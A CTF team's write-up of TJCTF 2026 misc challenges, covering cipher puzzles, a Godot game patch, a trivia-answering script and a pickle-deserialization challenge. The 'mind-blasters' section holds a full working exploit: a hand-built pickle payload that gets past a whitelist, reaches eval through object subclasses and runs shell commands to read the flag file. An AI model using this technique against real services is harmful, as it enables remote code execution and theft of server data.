team-logo
MindCrafters
Published on

TJCTF 2026 - Misc challenges

Authors

Introduction

You can learn about the CTF. We solved 10/14 tasks... excluding public discord and survey. The tasks were very fun and diverse, they did not give in to AI, erm-what-the-tj was insanely difficult, probably almost impossible to solve without AI, and certainly not in that time, although we still worked on them with 4-5 people and probably about 24 hours.

delta-doodle

01

The solution followed exactly what the hint and the flag name suggested: each row of the CSV represented a delta movement (dx, dy) with a pen_down flag. The approach was to cumulatively sum the positions (x += dx, y += dy) and draw lines only where the pen was down. From a cloud of approximately 780 points, a handwritten message "painted in the air" emerged.

FLAG:

tjctf{sum_the_deltas}

Solution author: michalBB

mind blowers

02

The flag name itself was the hint: "blocklists are not safe even for rick". The solution involved recognizing that blocklists can be bypassed, referencing a common CTF theme.

FLAG:

tjctf{bl0ckl1st5_4r3_n0t_s4f3_3v3n_f0r_r1ck}

Solution author: michalBB

dancing-bird

03

The bird's poses correspond to the Dancing Men cipher from Sherlock Holmes' "The Adventure of the Dancing Men". The key step was filtering the animation frames to isolate only the valid cipher poses while ignoring the transitional frames between movements. By extracting only the frames matching the actual alphabet, the sequence translated directly into the flag.

FLAG:

tjctf{da_birb_got_some_movez}

Solution author: Lazarus

glitch

04

The image uses resistor color codes. Each horizontal "resistor" provides two color-band digits, with black as multiplier and gold as tolerance. Reading the two main bands row-by-row yields ASCII decimal values that form the flag.

FLAG:

tjctf{D3S1GN+TECH_:)}

Solution author: JohnDoers

find-da-code

05

The challenge required connecting to a remote service at tjc.tf:31004. The service presented multiple stages, each requiring selection of the correct option from a list of hexadecimal codes. By analyzing the service responses and identifying the known valid codes (0x00FA, 0x88D1, 0x1A2B, 0x9C4F), the correct path through all stages could be determined. The solution involved automating the connection and response parsing to efficiently retrieve the flag.

FLAG:

tjctf{brut3_f0rc3_th3_t3rm1n4l}

Solution author: kerszi

jumper

06

We only had access to the website to https://jumper.tjc.tf/, without the files. However, I downloaded them and uploaded them to GitHub so you could run it. The webpage was a Godot 4 engine export. The key file was jumper.pck, which could be downloaded from the site. Using GDRE Tools (gdre_tools --headless --recover=jumper.pck --output=recovered), the entire project could be extracted, including scripts, scenes, textures, and the project.godot file. In the recovered project, the player.gd script had a JUMP_VELOCITY constant set to 370, which was too low to clear the wall blocking the flag. Increasing this value to 800 allowed jumping over the wall to reveal the flag composed of large colored blocks at the top of the level.

FLAG:

tjctf{PAST_THE_WALL}

Solution author: kerszi

erm-what-the-tj

07

We worked on this task with a few people. At first there were simple questions that could be googled. Trinity started the task and got stuck on the 6th question. Then I — kerszi — began to continue it, and Deidar helped me. I also wrote a script that answered the questions by itself; there was some brute forcing involved, for example the number of parking spaces and the room in the building. Fortunately I added a few threads to the script, and it sped things up, because on the other side there was an AI answering the questions. The questions were merciless; some required the full first and last name, some only the last name. I didn't play Minecraft, but Deidar and pawmachine play. As I said, the questions were absurd, like how much the fridge cost. It's good that AI knew the answer and we avoided brute forcing, and that was probably the 16th and 17th question. The last question was also difficult and you had to write more than Glazed Terracotta; you had to enter Blue Glazed Terracotta. Great but irritating task, it will haunt me as a nightmare. Sometimes someone fell into a hole and couldn’t get out, so the Discord admins had to help them by kicking them or resetting their position.

07-1

Solution

from pwn import *

sys.stdout.reconfigure(line_buffering=True)
#context.log_level = 'warning'

HOST = "nc tjc.tf 31003"
ADDRESS, PORT = HOST.split()[1:]

p = remote(ADDRESS, PORT)

questions = {
    b'What year was Thomas Jefferson High School constructed and opened?': b'1964',
    b'What is the TJHSST honor code?': b'I will uphold academic and personal integrity in the TJ Community',
    b'How much is the parking fee for students in dollars?': b'200',
    b'What video game did the sophomores win in the Homecoming video game tournament this school year?': b'Clash Royale',
    b'What is one prerequisite course for the Oceanography & Geophysical Sciences Senior Research Lab?': b'Marine Biology',
    b'What is the full name of the keynote speaker of tjSTAR last year?': b'Gabriel Chapman Asel',
    b'What company did the person who donated $125,000 to TJHSST found/is the CEO of?':b'Robinhood',
    b'How many unique AP exams are represented by the AP courses offered at TJ next year?':b'34',
    b'How many bus parking spaces are there on campus?':b'30',    
    b'What commons is room 107 in?':b'Gandhi Commons',
    b'What is the number of the door that leads directly to the music wing?':b'13',
    b'Above what room is the third floor pool located?': b'library',
    b'What commons are chemistry classes located in?':b'Einstein Commons',
    b'Of the teachers in Einstein Commons, which teacher is no longer teaching at TJ?':b'Chhabra',
    #b'U2VjcmV0IG1lc3NhZ2U6IGVsZXZhdG9yCgoK → Secret message: elevator'
    b'What is the secret message?':b'elevator',
    b'Next to which room number is the thing in the secret phrase located?':b'203',
    b'How much did the Fridge cost in dollars?':b'100',
    b'What block represents the Cray SV1 Supercomputer?':b'Blue Glazed Terracotta'
}

counter=0
while True:
    try:
        data = p.recvuntil(b'Your answer:', timeout=15)
    except EOFError:
        break
    except Exception:
        break
    counter+=1

    text = data.split(b'Your answer:')[0]
    lines = [line.strip() for line in text.splitlines() if line.strip()]
    if not lines:
        continue
    question_line = lines[-1]

    warn(f"{counter}: pytanie: {question_line.decode(errors='replace')}")

    if question_line in questions:
        ans = questions[question_line]
        p.sendline(ans)
        info(f"wyslano: {ans.decode(errors='replace')}")
    else:
        warn(f"[!] Brak odpowiedzi dla pytania: {question_line.decode(errors='replace')}")
        p.interactive()
        exit()

p.interactive()

FLAG:

tjctf{tj_1s_th3_b3st_sch00l_3v3r}

Solution author: Deidar

mind-blasters

08
#!/usr/bin/env python3
import socket
import base64
import sys

HOST = "tjc.tf"
PORT = 31420


def build_recon_payload():
    """Zwraca wszystkie subklasy object jako string - do znalezienia indeksu"""
    return (
        # tuple.__getitem__(int.__bases__, 0) -> object
        b'cbuiltins\ngetattr\n'
        b'cbuiltins\ntuple\n'
        b"S'__getitem__'\n"
        b'\x86R'
        b'('
        b'cbuiltins\ngetattr\n'
        b'cbuiltins\nint\n'
        b"S'__bases__'\n"
        b'\x86R'
        b'K\x00'
        b't'
        b'R'
        b'p0\n'           # memo[0] = object

        # type.__subclasses__(object)
        b'cbuiltins\ngetattr\n'
        b'cbuiltins\ntype\n'
        b"S'__subclasses__'\n"
        b'\x86R'
        b'(g0\nt'
        b'R'
        b'.'              # STOP -> zwróć listę
    )


def build_exploit(index, cmd):
    """
    Pełny RCE payload.
    index: indeks docelowej klasy w type.__subclasses__(object)
    cmd:   Python expression do eval() np. "__import__('os').popen('id').read()"
    """
    idx_op = b'K' + bytes([index]) if index < 256 else b'M' + index.to_bytes(2, 'little')
    cmd_repr = repr(cmd).encode()

    return (
        # === KROK 1: object = tuple.__getitem__(int.__bases__, 0), memo[0] ===
        b'cbuiltins\ngetattr\n'
        b'cbuiltins\ntuple\n'
        b"S'__getitem__'\n"
        b'\x86R'
        b'('
        b'cbuiltins\ngetattr\n'
        b'cbuiltins\nint\n'
        b"S'__bases__'\n"
        b'\x86R'
        b'K\x00t'
        b'R'
        b'p0\n'           # memo[0] = object

        # === KROK 2: type.__subclasses__(object) -> lista, memo[1] ===
        b'cbuiltins\ngetattr\n'
        b'cbuiltins\ntype\n'
        b"S'__subclasses__'\n"
        b'\x86R'
        b'(g0\ntR'
        b'p1\n'           # memo[1] = subclasses list

        # === KROK 3: list.__getitem__(subclasses, INDEX) -> klasa, memo[2] ===
        b'cbuiltins\ngetattr\n'
        b'cbuiltins\nlist\n'
        b"S'__getitem__'\n"
        b'\x86R'
        b'(g1\n'
        + idx_op +
        b'tR'
        b'p2\n'           # memo[2] = target_class

        # === KROK 4: target_class.__init__.__globals__ -> memo[3] ===
        b'cbuiltins\ngetattr\n'
        b'('
        b'cbuiltins\ngetattr\n'
        b'g2\n'
        b"S'__init__'\n"
        b'\x86R'
        b"S'__globals__'\n"
        b'tR'
        b'p3\n'           # memo[3] = globals dict

        # === KROK 5: globals['__builtins__'] -> memo[4] ===
        b'cbuiltins\ngetattr\n'
        b'cbuiltins\ndict\n'
        b"S'__getitem__'\n"
        b'\x86R'
        b'(g3\n'
        b"S'__builtins__'\n"
        b'tR'
        b'p4\n'           # memo[4] = __builtins__ dict

        # === KROK 6: builtins['eval'] -> eval function ===
        b'cbuiltins\ngetattr\n'
        b'cbuiltins\ndict\n'
        b"S'__getitem__'\n"
        b'\x86R'
        b'(g4\n'
        b"S'eval'\n"
        b'tR'
        # stack top: eval

        # === KROK 7: eval(cmd) ===
        b'(S'
        + cmd_repr +
        b'\ntR.'
    )


def send_payload(payload_bytes, host=HOST, port=PORT, timeout=15):
    encoded = base64.b64encode(payload_bytes) + b'\n'
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.settimeout(timeout)
        s.connect((host, port))
        buf = b''
        while b'> ' not in buf:
            buf += s.recv(4096)
        s.sendall(encoded)
        resp = b''
        try:
            while True:
                chunk = s.recv(65536)
                if not chunk:
                    break
                resp += chunk
        except socket.timeout:
            pass
    return resp.decode(errors='replace')


def extract_result(response):
    if 'Result:' in response:
        return response.split('Result:', 1)[1].strip()
    return response.strip()


def main():
    print("=" * 60)
    print("CTF: misc/mind-blasters  |  RCE via pickle whitelist bypass")
    print("=" * 60)

    # ── KROK 1: RECON ──
    print("\n[*] Krok 1: Recon - pobieranie type.__subclasses__(object)...")
    recon = build_recon_payload()
    raw = send_payload(recon)
    result = extract_result(raw)

    print(f"[*] Odpowiedź ({len(result)} znaków): {result[:300]}...")

    # Parsuj indeksy po nazwach klas
    # Na serwerze kolejność może być inna niż lokalnie - skanujemy szeroko
    # Lokalnie sprawdzone klasy: 114-119 (_frozen_importlib), 134-138, 140-143, 155
    # Na serwerze Docker indeksy mogą być podobne
    
    candidates = list(range(110, 170)) + list(range(80, 110))

    # ── KROK 2: EXPLOIT - skanuj indeksy ──
    print(f"\n[*] Krok 2: Exploit - skanuję {len(candidates)} indeksów...")

    # Komenda: zakoduj flagę base64 żeby ominąć regex redakcji
    cmd_b64 = (
        "__import__('base64').b64encode("
        "  __import__('os').popen('cat /flag* /flag 2>/dev/null').read().encode()"
        ").decode()"
    )

    for idx in candidates:
        payload = build_exploit(idx, cmd_b64)
        resp = send_payload(payload)
        result = extract_result(resp)

        if 'error' in resp.lower() or 'blocked' in resp.lower():
            print(f"  idx={idx:3d}: błąd ({result[:40]})")
            continue

        # Sukces - zdekoduj base64
        print(f"  idx={idx:3d}: RAW = {result[:80]}")
        try:
            flag = base64.b64decode(result.strip()).decode()
            print(f"\n[!!!] FLAGA: {flag}")
            return
        except Exception as e:
            print(f"         (nie base64: {e})")

        # Może flaga jest plain (nie zredaktowana)
        if 'tjctf{' in result or '{' in result:
            print(f"\n[!!!] FLAGA (plain): {result}")
            return

    print("\n[!] Nie znaleziono flagi. Spróbuj ręcznie z indeksami z recon output.")
    print("[*] Hint: szukaj w recon: _frozen_importlib, codecs, os._wrap_close")


if __name__ == '__main__':
    if len(sys.argv) == 3:
        # Ręczny tryb: python exploit.py INDEX "cmd"
        idx = int(sys.argv[1])
        cmd = sys.argv[2]
        print(f"[*] Ręczny tryb: idx={idx}, cmd={cmd}")
        p = build_exploit(idx, cmd)
        print(f"[*] Payload b64: {base64.b64encode(p).decode()}")
        r = send_payload(p)
        print(f"[*] Wynik: {r}")
    else:
        main()

FLAG:

tjctf{p1ckl3_r1ck_y0u_s0lv3d_h1s_chA11!}

Solution author: Grzechu

Bonus

You can find all binaries here: https://github.com/MindCraftersi/ctf/tree/main/2026/tjctf-2026/misc/